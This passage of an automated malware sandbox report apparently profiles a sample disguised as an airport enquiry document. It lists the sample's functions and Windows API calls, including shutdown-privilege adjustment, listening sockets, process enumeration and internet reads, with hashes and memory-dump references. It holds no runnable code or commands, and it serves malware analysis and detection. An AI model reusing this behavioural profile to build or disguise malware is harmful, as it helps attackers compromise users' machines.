Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: acb40252f7f869e810bae4da7d7ed1a1502a0cbcdf857afde24445652c4b17f5
Instruction ID: 38e53616dbe6d453ef66f3d98208744635ec1cc96c458f4b6b44b8b3b29d55aa
Opcode Fuzzy Hash: acb40252f7f869e810bae4da7d7ed1a1502a0cbcdf857afde24445652c4b17f5
Instruction Fuzzy Hash: B9A27070E0421ACBDF28CF59C994FADB7B1FB54314F1482AAD866A7680D7309E86DF50

Function 00C958C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C95A05
_memmove.LIBCMT ref: 00C95A55
_memmove.LIBCMT ref: 00C95ABB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 21dec7b8631acfc810297c77458c49302d29836d923cdbaf4072242acc63c456
Instruction ID: fab68669dd1ab4779f0ee2b3c1d35b191a0afcc6fcf92e18ac27db939e7e4399
Opcode Fuzzy Hash: 21dec7b8631acfc810297c77458c49302d29836d923cdbaf4072242acc63c456
Instruction Fuzzy Hash: 1112AC70A00609EFDF04DFA9D985AAEB3F5FF48304F20412AE406E7291EB35AE15DB54

Function 00CE545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD8D0D
Part of subcall function 00CD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD8D3A
Part of subcall function 00CD8CC3: GetLastError.KERNEL32 ref: 00CD8D47

ExitWindowsEx.USER32(?,00000000), ref: 00CE549B

Strings

, xrefs: 00CE5489
@, xrefs: 00CE548E
SeShutdownPrivilege, xrefs: 00CE546B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: e780873a72445588bcb5264dd0fcb78663e7f550205edd3107a2f3ed99cec648
Instruction ID: ba1e803af3541d5a90608c61c5dcfaf74b26ccb5733dcc6a98d4f74853f07c57
Opcode Fuzzy Hash: e780873a72445588bcb5264dd0fcb78663e7f550205edd3107a2f3ed99cec648
Instruction Fuzzy Hash: C5014232654B856AF738637BEC4ABBA7258EB00746F300021FD1AE21C3EA901C8082A0

Function 00CF6596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00CF65EF
WSAGetLastError.WSOCK32(00000000), ref: 00CF65FE
bind.WSOCK32(00000000,?,00000010), ref: 00CF661A
listen.WSOCK32(00000000,00000005), ref: 00CF6629
WSAGetLastError.WSOCK32(00000000), ref: 00CF6643
closesocket.WSOCK32(00000000,00000000), ref: 00CF6657

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 6f523caf925756e4ed5d3d809b114e00b25a898ea2449d5cefc2e352327d9d30
Instruction ID: 2526ad5adea2cc5ed8bf9a3d3587bfddace841c60797ba8497b51161ee7702e5
Opcode Fuzzy Hash: 6f523caf925756e4ed5d3d809b114e00b25a898ea2449d5cefc2e352327d9d30
Instruction Fuzzy Hash: F9217E316002049FCB50EF64C885B7EB7A9EF44724F248159FA6AE73D1CB70AD05DB66

Function 00C95680 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FF6: std::exception::exception.LIBCMT ref: 00CA102C
Part of subcall function 00CA0FF6: __CxxThrowException@8.LIBCMT ref: 00CA1041

_memmove.LIBCMT ref: 00CD062F
_memmove.LIBCMT ref: 00CD0744
_memmove.LIBCMT ref: 00CD07EB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: e84360dee035968c39a837f9ce369cf76b153b968d07cc9cbab6249ba2fdeec2
Instruction ID: d0244f1df78465ada4f25174cf40b2cb4d3180e5bc96b4974358cf80ef800abe
Opcode Fuzzy Hash: e84360dee035968c39a837f9ce369cf76b153b968d07cc9cbab6249ba2fdeec2
Instruction Fuzzy Hash: C102A170A00205DFCF04DF68D985AAEBBB5FF44304F24806AE806DB395EB31DA55DB95

Function 00C81287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00C819FA
GetSysColor.USER32(0000000F), ref: 00C81A4E
SetBkColor.GDI32(?,00000000), ref: 00C81A61

Part of subcall function 00C81290: DefDlgProcW.USER32(?,00000020,?), ref: 00C812D8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 4694d71a1847eb4a198020010b584dcc2b39af813336db4c02cefbcfd5763fdc
Instruction ID: ef20394e886af0c0fff56a9260a035e7121efa01fc16ec1e376093d2f71b64b1
Opcode Fuzzy Hash: 4694d71a1847eb4a198020010b584dcc2b39af813336db4c02cefbcfd5763fdc
Instruction Fuzzy Hash: 95A105B1111544BFD628BB2ACC49EFF29DDDB42349F1C021AF812D61D1CA54DE02A37A

Function 00CF6A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF80CB

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00CF6AB1
WSAGetLastError.WSOCK32(00000000), ref: 00CF6ADA
bind.WSOCK32(00000000,?,00000010), ref: 00CF6B13
WSAGetLastError.WSOCK32(00000000), ref: 00CF6B20
closesocket.WSOCK32(00000000,00000000), ref: 00CF6B34

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 796cda1775e7a00ff93adb5eeec2c51b12b4bc1d07aeac45e47314bf88ed7029
Instruction ID: 9d422b7c03fb3ab91074f49a731a07e62b2a1edf0bb7a2e0d72008a83c71f934
Opcode Fuzzy Hash: 796cda1775e7a00ff93adb5eeec2c51b12b4bc1d07aeac45e47314bf88ed7029
Instruction Fuzzy Hash: A441CF75600214AFEB10BF64DC86F7E77A8DB44714F44805CFA5AAB3C2DB74AD00A796

Function 00D055FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00D0564C
IsWindowEnabled.USER32 ref: 00D0565A
GetForegroundWindow.USER32(?,?,00000001), ref: 00D05667
IsIconic.USER32 ref: 00D05675
IsZoomed.USER32 ref: 00D05683

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: f50ae0e4826800aaba9cbb110f66a856fe873fb5ea78581acb9a391f225469f5
Instruction ID: 34c3cfd4f87e5b51c20ead8c304445b3e9504059a709c47a7abad577b76655f8
Opcode Fuzzy Hash: f50ae0e4826800aaba9cbb110f66a856fe873fb5ea78581acb9a391f225469f5
Instruction Fuzzy Hash: E3119031700A116BE7216F26EC44B6B7798EF44721B984429E84ED7281CB7199018AB5

Function 00CFC304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00CC1D88,?), ref: 00CFC312
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00CFC324

Strings

kernel32.dll, xrefs: 00CFC30D
GetSystemWow64DirectoryW, xrefs: 00CFC31E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 6d0a52adf2d8728f6b1a6eb5ec10faac40e6d86de0b8afe58a087d9bd7b64823
Instruction ID: fde74425f7e518a4965113a9b662a04283fecb6405357371c86cca3c357f5fed
Opcode Fuzzy Hash: 6d0a52adf2d8728f6b1a6eb5ec10faac40e6d86de0b8afe58a087d9bd7b64823
Instruction Fuzzy Hash: 0BE08C7430030BCFCB344F25C844BD676D4EB08394FA08439E9A9D2660E7B0D844CAB1

Function 00C93190 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 7e16691b8c8eed2be095dfc459e19925a41f0c12daea6a6a78be5d6cf758d0dc
Instruction ID: 346f7e93f9205c378e23c96f87cbefc9ac5e9cc44512273e5202ff5b604ad659
Opcode Fuzzy Hash: 7e16691b8c8eed2be095dfc459e19925a41f0c12daea6a6a78be5d6cf758d0dc
Instruction Fuzzy Hash: DB2288716083419FCB24EF64C885B6FB7E4EF88704F14491DF99A97291DB30EA05DB92

Function 00CFF121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00CFF151
Process32FirstW.KERNEL32(00000000,?), ref: 00CFF15F

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Process32NextW.KERNEL32(00000000,?), ref: 00CFF21F
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00CFF22E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: e1fde83ecc634a3bbf234d349ae9282ccd971a6b1b4f84104efe345a7ddc5f42
Instruction ID: bea6b43d4db552c650e21fa631ae8524b8b97196ce30a3996bce98ed7fbe0073
Opcode Fuzzy Hash: e1fde83ecc634a3bbf234d349ae9282ccd971a6b1b4f84104efe345a7ddc5f42
Instruction Fuzzy Hash: BC518C71504300AFD320EF20DC85AABB7E8EF94714F14492DF596972A1EB70EA09DB96

Function 00CE40B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00CE40D1
_memset.LIBCMT ref: 00CE40F2
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00CE4144
CloseHandle.KERNEL32(00000000), ref: 00CE414D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 0719a95fb15de1e9108b0fdaeda5d6bef6227cd164cee11323653ea60ade6890
Instruction ID: 833650df1d78ad8ecaaff93414b622e4a1234c6eeb1cd19ef9fb08744fb5b783
Opcode Fuzzy Hash: 0719a95fb15de1e9108b0fdaeda5d6bef6227cd164cee11323653ea60ade6890
Instruction Fuzzy Hash: 361194759013287AD7309BA5AC4DFABBB7CEB45764F1041AAF908D7280D6744E808BA4

Function 00CDEB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00CDEB19

Strings

(, xrefs: 00CDEB5F
|, xrefs: 00CDEB49

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 187a195dae534a812103db0dd2a6721be2403712f6e3df3c904cf1a3a96c7e3c
Instruction ID: 4d0c60140b6e2d01342a8efcca1815fd63f1f0e8d3938ee4337555010ee75ee1
Opcode Fuzzy Hash: 187a195dae534a812103db0dd2a6721be2403712f6e3df3c904cf1a3a96c7e3c
Instruction Fuzzy Hash: 31323675A007059FCB28DF59C481A6AB7F0FF48320B15C56EE9AADB3A1E770E941CB44

Function 00CF25E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00CF26D5
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00CF270C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 319e2dbeb6665e23a42bfdba5b6ba3b2482b6a695479d6150fd295fcad78d697
Instruction ID: 92db91be47aaf5c73d7ae18da6e71b9230deda9dbb496b5e8acba257e0cb41a4
Opcode Fuzzy Hash: 319e2dbeb6665e23a42bfdba5b6ba3b2482b6a695479d6150fd295fcad78d697
Instruction Fuzzy Hash: 0741F67150030DBFEB60EF95CC85EBBB7BCEB40718F10406AFB15E6140EA719E41A666

Function 00CEB59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00CEB5AE
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00CEB608
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00CEB655

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: c94b5de362325781a97a1c3d62f45a4d92a25b4ccaade5bd9b32924434795e44
Instruction ID: 238567b09b1281d5347f58f077609b5a0826c4156aa9f4747adf6ebfb2490acf
Opcode Fuzzy Hash: c94b5de362325781a97a1c3d62f45a4d92a25b4ccaade5bd9b32924434795e44
Instruction Fuzzy Hash: ED216035A00618EFCB04EFA5D880AFEBBB8FF48314F1480A9E905EB351DB31A915DB55

Function 00CD8CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00CA0FF6: std::exception::exception.LIBCMT ref: 00CA102C
Part of subcall function 00CA0FF6: __CxxThrowException@8.LIBCMT ref: 00CA1041

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00CD8D0D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00CD8D3A
GetLastError.KERNEL32 ref: 00CD8D47

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 8df390ebb790c6c2bdc5a0fa078c1b5c86e899d1dcfe733d0378a41f7a32cb56
Instruction ID: c99de591ad733c5e3d476ce80d9075e45b9cfba27811894666efc17228b9399e
Opcode Fuzzy Hash: 8df390ebb790c6c2bdc5a0fa078c1b5c86e899d1dcfe733d0378a41f7a32cb56
Instruction Fuzzy Hash: F911BFB1414309AFE728DF54DC85E6BB7BDEB44714B20852EF55693741EB30BC408A20

Function 00CE4C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00CE4C2C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00CE4C43
FreeSid.ADVAPI32(?), ref: 00CE4C53

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 306d062bd02a4b5868af82e7277c22d92e010774f47113916fc560d6b703aa2b
Instruction ID: 4280965dfdf0d05c3a09f15d472f065cdbacdd0d63220ae9d58c4d6a6632aa20
Opcode Fuzzy Hash: 306d062bd02a4b5868af82e7277c22d92e010774f47113916fc560d6b703aa2b
Instruction Fuzzy Hash: 5BF04975A1130CBFDF04DFF0DC89BAEBBBCEF08201F1044A9A905E2681E6746A048B60

Function 00C8E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2626063dfc20c0c04a33736add737796f666ebaf18709c64c71406420292ce8
Instruction ID: 55fff33e6dc17285992e2c0352d9d502a0f08bad4838713ba644851066fe868c
Opcode Fuzzy Hash: b2626063dfc20c0c04a33736add737796f666ebaf18709c64c71406420292ce8
Instruction Fuzzy Hash: 6B22BE70A00216DFDB24EF54C484BAEB7F0FF49308F148169E866AB351E770AE81DB95

